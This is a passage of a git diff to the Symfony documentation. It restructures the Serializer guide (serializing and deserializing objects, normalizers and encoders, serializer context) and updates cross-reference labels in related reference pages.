-    $serializer = new Serializer([$normalizer]);
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'id' => 1,
-        'child' => [
-            'id' => 2,
-            'child' => '/foos/3',
-        ],
-    ];
-    */
-
-Handling Arrays
----------------
-
-The Serializer component is capable of handling arrays of objects as well.
-Serializing arrays works just like serializing a single object::
-
-    use Acme\Person;
-
-    $person1 = new Person();
-    $person1->setName('foo');
-    $person1->setAge(99);
-    $person1->setSportsman(false);
-
-    $person2 = new Person();
-    $person2->setName('bar');
-    $person2->setAge(33);
-    $person2->setSportsman(true);
-
-    $persons = [$person1, $person2];
-    $data = $serializer->serialize($persons, 'json');
-
-    // $data contains [{"name":"foo","age":99,"sportsman":false},{"name":"bar","age":33,"sportsman":true}]
-
-If you want to deserialize such a structure, you need to add the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-to the set of normalizers. By appending ``[]`` to the type parameter of the
-:method:`Symfony\\Component\\Serializer\\Serializer::deserialize` method,
-you indicate that you're expecting an array instead of a single object::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $serializer = new Serializer(
-        [new GetSetMethodNormalizer(), new ArrayDenormalizer()],
-        [new JsonEncoder()]
-    );
-
-    $data = ...; // The serialized data from the previous example
-    $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
-
-Handling Constructor Arguments
-------------------------------
-
-If the class constructor defines arguments, as usually happens with
-`Value Objects`_, the serializer won't be able to create the object if some
-arguments are missing. In those cases, use the ``default_constructor_arguments``
-context option::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class MyObj
-    {
-        public function __construct(
-            private string $foo,
-            private string $bar,
-        ) {
-        }
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->denormalize(
-        ['foo' => 'Hello'],
-        'MyObj',
-        null,
-        [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
-            'MyObj' => ['foo' => '', 'bar' => ''],
-        ]]
-    );
-    // $data = new MyObj('Hello', '');
-
-Recursive Denormalization and Type Safety
------------------------------------------
-
-The Serializer component can use the :doc:`PropertyInfo Component </components/property_info>` to denormalize
-complex types (objects). The type of the class' property will be guessed using the provided
-extractor and used to recursively denormalize the inner data.
-
-When using this component in a Symfony application, all normalizers are automatically configured to use the registered extractors.
-When using the component standalone, an implementation of :class:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface`,
-(usually an instance of :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`) must be passed as the 4th
-parameter of the ``ObjectNormalizer``::
-
-    namespace Acme;
-
-    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class ObjectOuter
-    {
-        private ObjectInner $inner;
-        private \DateTimeInterface $date;
-
-        public function getInner(): ObjectInner
-        {
-            return $this->inner;
-        }
-
-        public function setInner(ObjectInner $inner): void
-        {
-            $this->inner = $inner;
-        }
-
-        public function getDate(): \DateTimeInterface
-        {
-            return $this->date;
-        }
-
-        public function setDate(\DateTimeInterface $date): void
-        {
-            $this->date = $date;
-        }
-    }
-
-    class ObjectInner
-    {
-        public string $foo;
-        public string $bar;
-    }
-
-    $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor());
-    $serializer = new Serializer([new DateTimeNormalizer(), $normalizer]);
-
-    $obj = $serializer->denormalize(
-        ['inner' => ['foo' => 'foo', 'bar' => 'bar'], 'date' => '1988/01/21'],
-        'Acme\ObjectOuter'
-    );
-
-    dump($obj->getInner()->foo); // 'foo'
-    dump($obj->getInner()->bar); // 'bar'
-    dump($obj->getDate()->format('Y-m-d')); // '1988-01-21'
-
-When a ``PropertyTypeExtractor`` is available, the normalizer will also check that the data to denormalize
-matches the type of the property (even for primitive types). For instance, if a ``string`` is provided, but
-the type of the property is ``int``, an :class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
-will be thrown. The type enforcement of the properties can be disabled by setting
-the serializer context option ``ObjectNormalizer::DISABLE_TYPE_ENFORCEMENT``
-to ``true``.
-
-.. _serializer_interfaces-and-abstract-classes:
-
-Serializing Interfaces and Abstract Classes
--------------------------------------------
-
-When dealing with objects that are fairly similar or share properties, you may
-use interfaces or abstract classes. The Serializer component allows you to
-serialize and deserialize these objects using a *"discriminator class mapping"*.
-
-The discriminator is the field (in the serialized string) used to differentiate
-between the possible objects. In practice, when using the Serializer component,
-pass a :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorResolverInterface`
-implementation to the :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`.
-
-The Serializer component provides an implementation of ``ClassDiscriminatorResolverInterface``
-called :class:`Symfony\\Component\\Serializer\\Mapping\\ClassDiscriminatorFromClassMetadata`
-which uses the class metadata factory and a mapping configuration to serialize
-and deserialize objects of the correct class.
-
-When using this component inside a Symfony application and the class metadata factory is enabled
-as explained in the :ref:`Attributes Groups section <component-serializer-attributes-groups>`,
-this is already set up and you only need to provide the configuration. Otherwise::
-
-    // ...
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorFromClassMetadata;
-    use Symfony\Component\Serializer\Mapping\ClassDiscriminatorMapping;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your discriminator class mapping. Consider an application that
-defines an abstract ``CodeRepository`` class extended by ``GitHubCodeRepository``
-and ``BitBucketCodeRepository`` classes:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App;
-
-        use App\BitBucketCodeRepository;
-        use App\GitHubCodeRepository;
-        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
-
-        #[DiscriminatorMap(typeProperty: 'type', mapping: [
-            'github' => GitHubCodeRepository::class,
-            'bitbucket' => BitBucketCodeRepository::class,
-        ])]
-        abstract class CodeRepository
-        {
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\CodeRepository:
-            discriminator_map:
-                type_property: type
-                mapping:
-                    github: 'App\GitHubCodeRepository'
-                    bitbucket: 'App\BitBucketCodeRepository'
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\CodeRepository">
-                <discriminator-map type-property="type">
-                    <mapping type="github" class="App\GitHubCodeRepository"/>
-                    <mapping type="bitbucket" class="App\BitBucketCodeRepository"/>
-                </discriminator-map>
-            </class>
-        </serializer>
-
-.. note::
-
-    The values of the ``mapping`` array option must be strings.
-    Otherwise, they will be cast into strings automatically.
-
-Once configured, the serializer uses the mapping to pick the correct class::
-
-    $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');
-    // {"type": "github"}
-
-    $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
-    // instanceof GitHubCodeRepository
-
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /serializer
-
-.. seealso::
-
-    Normalizers for the Symfony Serializer Component supporting popular web API formats
-    (JSON-LD, GraphQL, OpenAPI, HAL, JSON:API) are available as part of the `API Platform`_ project.
-
-.. seealso::
-
-    A popular alternative to the Symfony Serializer component is the third-party
-    library, `JMS serializer`_ (versions before ``v1.12.0`` were released under
-    the Apache license, so incompatible with GPLv2 projects).
-
-.. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
-.. _`JMS serializer`: https://github.com/schmittjoh/serializer
-.. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
-.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
-.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
-.. _JSON: https://www.json.org/json-en.html
-.. _XML: https://www.w3.org/XML/
-.. _YAML: https://yaml.org/
-.. _CSV: https://tools.ietf.org/html/rfc4180
-.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
-.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
-.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
-.. _`API Platform`: https://api-platform.com
-.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
-.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
-.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
-.. _$flags: https://www.php.net/manual/en/json.constants.php
-.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 4f784588e23..feadec70d3c 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -99,16 +99,18 @@ Security
 * :ref:`CurrentUser <security-json-login>`
 * :ref:`IsGranted <security-securing-controller-attributes>`
 
+.. _reference-attributes-serializer:
+
 Serializer
 ~~~~~~~~~~
 
-* :ref:`Context <serializer_serializer-context>`
+* :ref:`Context <serializer-context>`
 * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
-* :ref:`Groups <component-serializer-attributes-groups-attributes>`
+* :ref:`Groups <serializer-groups-attribute>`
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
-* :ref:`SerializedName <serializer_name-conversion>`
-* :ref:`SerializedPath <serializer-enabling-metadata-cache>`
+* :ref:`SerializedName <serializer-name-conversion>`
+* :ref:`SerializedPath <serializer-nested-structures>`
 
 Twig
 ~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e194ca2afa5..8e1f6af81fa 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2981,7 +2981,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using annotations or attributes.
+Enables support for annotations or attributes in the serializer component.
 
 .. deprecated:: 6.4
 
@@ -2993,11 +2993,11 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using `PHP attributes`_.
+Enables support for `PHP attributes`_ in the serializer component.
 
 .. seealso::
 
-    For more information, see :ref:`serializer-using-serialization-groups-attributes`.
+    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
 
 .. _reference-serializer-name_converter:
 
@@ -3013,8 +3013,7 @@ value.
 
 .. seealso::
 
-    For more information, see
-    :ref:`component-serializer-converting-property-names-when-serializing-and-deserializing`.
+    For more information, see :ref:`serializer-name-conversion`.
 
 .. _reference-serializer-circular_reference_handler:
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4a51940b96e..a34cfe58f0c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -713,6 +713,8 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+.. _reference-twig-filter-serialize:
+
 serialize
 ~~~~~~~~~
 
diff --git a/serializer.rst b/serializer.rst
index 2900a49ba4e..4efdbf2dd45 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1,10 +1,17 @@
 How to Use the Serializer
 =========================
 
-Symfony provides a serializer to serialize/deserialize to and from objects and
-different formats (e.g. JSON or XML). Before using it, read the
-:doc:`Serializer component docs </components/serializer>` to get familiar with
-its philosophy and the normalizers and encoders terminology.
+Symfony provides a serializer to transform data structures from one format
+to PHP objects and the other way around.
+
+This is most commonly used when building an API or communicating with third
+party APIs. The serializer can transform an incoming JSON request payload
+to a PHP object that is consumed by your application. Then, when generating
+the response, you can use the serializer to transform the PHP objects back
+to a JSON response.
+
+It can also be used to for instance load CSV configuration data as PHP
+objects, or even to transform between formats (e.g. YAML to XML).
 
 .. _activating_the_serializer:
 
@@ -12,287 +19,387 @@ Installation
 ------------
 
 In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the ``serializer`` :ref:`Symfony pack <symfony-packs>` before using it:
+install the serializer :ref:`Symfony pack <symfony-packs>` before using it:
 
 .. code-block:: terminal
 
     $ composer require symfony/serializer-pack
 
-Using the Serializer Service
-----------------------------
+.. note::
+
+    The serializer pack also installs some commonly used optional
+    dependencies of the Serializer component. When using this component
+    outside the Symfony framework, you might want to start with the
+    ``symfony/serializer`` package and install optional dependencies if you
+    need them.
+
+.. seealso::
 
-Once enabled, the serializer service can be injected in any service where
-you need it or it can be used in a controller::
+    A popular alternative to the Symfony Serializer component is the third-party
+    library, `JMS serializer`_.
 
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+Serializing an Object
+---------------------
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Serializer\SerializerInterface;
+For this example, assume the following class exists in your project::
 
-    class DefaultController extends AbstractController
+    // src/Model/Person.php
+    namespace App\Model;
+
+    class Person
     {
-        public function index(SerializerInterface $serializer): Response
+        public function __construct(
+            private int $age,
+            private string $name,
+            private bool $sportsperson
+        ) {
+        }
+
+        public function getAge(): int
         {
-            // keep reading for usage examples
+            return $this->age;
         }
-    }
 
-Or you can use the ``serialize`` Twig filter in a template:
+        public function getName(): string
+        {
+            return $this->name;
+        }
 
-.. code-block:: twig
+        public function isSportsperson(): bool
+        {
+            return $this->sportsperson;
+        }
+    }
 
-    {{ object|serialize(format = 'json') }}
+If you want to transform objects of this type into a JSON structure (e.g.
+to send them via an API response), get the ``serializer`` service by using
+the :class:`Symfony\\Component\\Serializer\\SerializerInterface` parameter type:
 
-See the :doc:`twig reference </reference/twig_reference>` for
-more information.
+.. configuration-block::
 
-Adding Normalizers and Encoders
--------------------------------
+    .. code-block:: php-symfony
 
-Once enabled, the ``serializer`` service will be available in the container.
-It comes with a set of useful :ref:`encoders <component-serializer-encoders>`
-and :ref:`normalizers <component-serializer-normalizers>`.
-
-Encoders supporting the following formats are enabled:
-
-* JSON: :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-* XML: :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-* CSV: :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-* YAML: :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-
-As well as the following normalizers:
-
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-
-Other :ref:`built-in normalizers <component-serializer-normalizers>` and
-custom normalizers and/or encoders can also be loaded by tagging them as
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
-:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
-possible to set the priority of the tag in order to decide the matching order.
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-.. danger::
+        use App\Model\Person;
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Serializer\SerializerInterface;
 
-    Always make sure to load the ``DateTimeNormalizer`` when serializing the
-    ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
-    usage and exposing internal details.
+        class PersonController extends AbstractController
+        {
+            public function index(SerializerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-.. _serializer_serializer-context:
+                $jsonContent = $serializer->serialize($person, 'json');
+                // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-Serializer Context
-------------------
+                return JsonResponse::fromJsonString($jsonContent);
+            }
+        }
 
-The serializer can define a context to control the (de)serialization of
-resources. This context is passed to all normalizers. For example:
+    .. code-block:: php-standalone
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
-  ``datetime_format`` key as date time format;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
-  uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead
-  of ``[]`` in JSON.
-* :class:`Symfony\\Component\\Serializer\\Serializer`
-  uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead
-  of ``[]`` in JSON.
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-You can pass the context as follows::
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
 
-    $serializer->serialize($something, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+        $person = new Person('Jane Done', 39, false);
 
-    $serializer->deserialize($someJson, Something::class, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+        $jsonContent = $serializer->serialize($person, 'json');
+        // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-You can also configure the default context through the framework
-configuration:
+The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
+is the object to be serialized and the second is used to choose the proper
+encoder (i.e. format), in this case the :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
 
-.. configuration-block::
+.. tip::
 
-    .. code-block:: yaml
+    When your controller class extends ``AbstractController`` (like in the
+    example above), you can simplify your controller by using the
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::json`
+    method to create a JSON response from an object using the Serializer::
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                default_context:
-                    enable_max_depth: true
-                    yaml_indentation: 2
+        class PersonController extends AbstractController
+        {
+            public function index(): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-    .. code-block:: xml
+                // when the Serializer is not available, this will use json_encode()
+                return $this->json($person);
+            }
+        }
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer>
-                <default-context enable-max-depth="true" yaml-indentation="2"/>
-            </framework:serializer>
-        </framework:config>
+Using the Serializer in Twig Templates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. code-block:: php
+You can also serialize objects in any Twig template using the ``serialize``
+filter:
 
-        // config/packages/framework.php
-        use Symfony\Component\Serializer\Encoder\YamlEncoder;
-        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-        use Symfony\Config\FrameworkConfig;
+.. code-block:: twig
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()
-                ->defaultContext([
-                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
-                    YamlEncoder::YAML_INDENTATION => 2,
-                ])
-            ;
-        };
+    {{ person|serialize(format = 'json') }}
 
-.. versionadded:: 6.2
+See the :ref:`twig reference <reference-twig-filter-serialize>` for more
+information.
 
-    The option to configure YAML indentation was introduced in Symfony 6.2.
+Deserializing an Object
+-----------------------
 
-You can also specify the context on a per-property basis::
+APIs often also need to convert a formatted request body (e.g. JSON) to a
+PHP object. This process is called *deserialization* (also known as "hydration"):
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
+    .. code-block:: php-symfony
 
-        namespace App\Model;
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-        use Symfony\Component\Serializer\Annotation\Context;
-        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+        // ...
+        use Symfony\Component\HttpFoundation\Exception\BadRequestException;
+        use Symfony\Component\HttpFoundation\Request;
 
-        class Person
+        class PersonController extends AbstractController
         {
-            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
-            public \DateTimeInterface $createdAt;
-
             // ...
+
+            public function create(Request $request, SerializerInterface $serializer): Response
+            {
+                if ('json' !== $request->getContentTypeFormat()) {
+                    throw new BadRequestException('Unsupported content format');
+                }
+
+                $jsonData = $request->getContent();
+                $person = $serializer->deserialize($jsonData, Person::class, 'json');
+
+                // ... do something with $person and return a response
+            }
         }
 
-    .. code-block:: yaml
+    .. code-block:: php-standalone
 
-        # config/serializer/custom_config.yaml
-        App\Model\Person:
-            attributes:
-                createdAt:
-                    contexts:
-                        - { context: { datetime_format: 'Y-m-d' } }
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-    .. code-block:: xml
+        // ...
+        $jsonData = ...; // fetch JSON from the request
+        $person = $serializer->deserialize($jsonData, Person::class, 'json');
 
-        <!-- config/serializer/custom_config.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\Person">
-                <attribute name="createdAt">
-                    <context>
-                        <entry name="datetime_format">Y-m-d</entry>
-                    </context>
-                </attribute>
-            </class>
-        </serializer>
+In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
+needs three parameters:
 
-Use the options to specify context specific to normalization or denormalization::
+#. The data to be decoded
+#. The name of the class this information will be decoded to
+#. The name of the encoder used to convert the data to an array (i.e. the
+   input format)
 
-    namespace App\Model;
+When sending a request to this controller (e.g.
+``{"first_name":"John Doe","age":54,"sportsperson":true}``), the serializer
+will create a new instance of ``Person`` and sets the properties to the
+values from the given JSON.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+.. note::
 
-    class Person
-    {
-        #[Context(
-            normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
-            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization
-        )]
-        public \DateTimeInterface $createdAt;
+    By default, additional attributes that are not mapped to the
+    denormalized object will be ignored by the Serializer component. For
+    instance, if a request to the above controller contains ``{..., "city": "Paris"}``,
+    the ``city`` field will be ignored. You can also throw an exception in
+    these cases using the :ref:`serializer context <serializer-context>`
+    you'll learn about later.
 
-        // ...
-    }
+.. seealso::
 
-You can also restrict the usage of a context to some groups::
+    You can also deserialize data into an existing object instance (e.g.
+    when updating data). See :ref:`Deserializing in an Existing Object <serializer-populate-existing-object>`.
 
-    namespace App\Model;
+.. _serializer-process:
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Annotation\Groups;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+The Serialization Process: Normalizers and Encoders
+---------------------------------------------------
 
-    class Person
-    {
-        #[Groups(['extended'])]
-        #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-        #[Context(
-            context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-            groups: ['extended'],
-        )]
-        public \DateTimeInterface $createdAt;
+The serializer uses a two-step process when (de)serializing objects:
 
-        // ...
-    }
+.. raw:: html
 
-The attribute can be repeated as much as needed on a single property.
-Context without group is always applied first. Then context for the matching
-groups are merged in the provided order.
+    <object data="_images/serializer/serializer_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
+    ></object>
 
-If you repeat the same context in multiple properties, consider using the
-``#[Context]`` attribute on your class to apply that context configuration to
-all the properties of the class::
+In both directions, data is always first converted to an array. This splits
+the process in two seperate responsibilities:
 
-    namespace App\Model;
+Normalizers
+    These classes convert **objects** into **arrays** and vice versa. They
+    do the heavy lifting of finding out which class properties to
+    serialize, what value they hold and what name they should have.
+Encoders
+    Encoders convert **arrays** into a specific **format** and the other
+    way around. Each encoder knows exactly how to parse and generate a
+    specific format, for instance JSON or XML.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+Internally, the ``Serializer`` class uses a sorted list of normalizers and
+one encoder for the specific format when (de)serializing an object.
+
+There are several normalizers configured in the default ``serializer``
+service. The most important normalizer is the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. This
+normalizer uses reflection and the :doc:`PropertyAccess component </components/property_access>`
+to transform between any object and an array. You'll learn more about
+:ref:`this and other normalizers <serializer-normalizers>` later.
+
+The default serializer is also configured with some encoders, covering the
+common formats used by HTTP applications:
+
+* :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
+
+Read more about these encoders and their configuration in
+:doc:`/serializer/encoders`.
+
+.. tip::
+
+    The `API Platform`_ project provides encoders for more advanced
+    formats:
+
+    * `JSON-LD`_ along with the `Hydra Core Vocabulary`_
+    * `OpenAPI`_ v2 (formerly Swagger) and v3
+    * `GraphQL`_
+    * `JSON:API`_
+    * `HAL`_
+
+.. _serializer-context:
+
+Serializer Context
+~~~~~~~~~~~~~~~~~~
+
+The serializer, and its normalizers and encoders, are configured through
+the *serializer context*. This context can be configured in multiple
+places:
+
+* `Globally through the framework configuration <Configure a Default Context>`_
+* `While serializing/deserializing <Pass Context while Serializing/Deserializing>`_
+* `For a specific property <Configure Context on a Specific Property>`_
+
+You can use all three options at the same time. When the same setting is
+configured in multiple places, the latter in the list above will override
+the previous one (e.g. the setting on a specific property overrides the one
+configured globally).
+
+.. _serializer-default-context:
+
+Configure a Default Context
+...........................
+
+You can configure a default context in the framework configuration, for
+instance to disallow extra fields while deserializing:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                default_context:
+                    allow_extra_attributes: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+                    <framework:default-context>
+                        <framework:allow-extra-attributes>false</framework:allow-extra-attributes>
+                    </framework:default-context>
+                </framework:serializer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->defaultContext('', [
+                    'allow_extra_attributes' => false,
+                ])
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-    #[Context(
-        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-        groups: ['extended'],
-    )]
-    class Person
-    {
         // ...
-    }
+        $normalizers = [
+            new ObjectNormalizer(null, null, null, null, null, null, [
+                'allow_extra_attributes' => false,
+            ]),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
+Pass Context while Serializing/Deserializing
+............................................
+
+You can also configure the context for a single call to
+``serialize()``/``deserialize()``. For instance, you can skip
+properties with a ``null`` value only for one serialize call::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
 
